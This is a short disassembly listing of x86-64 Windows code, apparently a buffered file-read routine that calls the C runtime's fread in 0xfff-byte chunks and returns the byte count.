je 0x14000a56e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000a50d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000a54e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000a56e
cmp rbx, rax
ja 0x14000a520
test rbx, rbx
je 0x14000a56e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
pushfq
invalid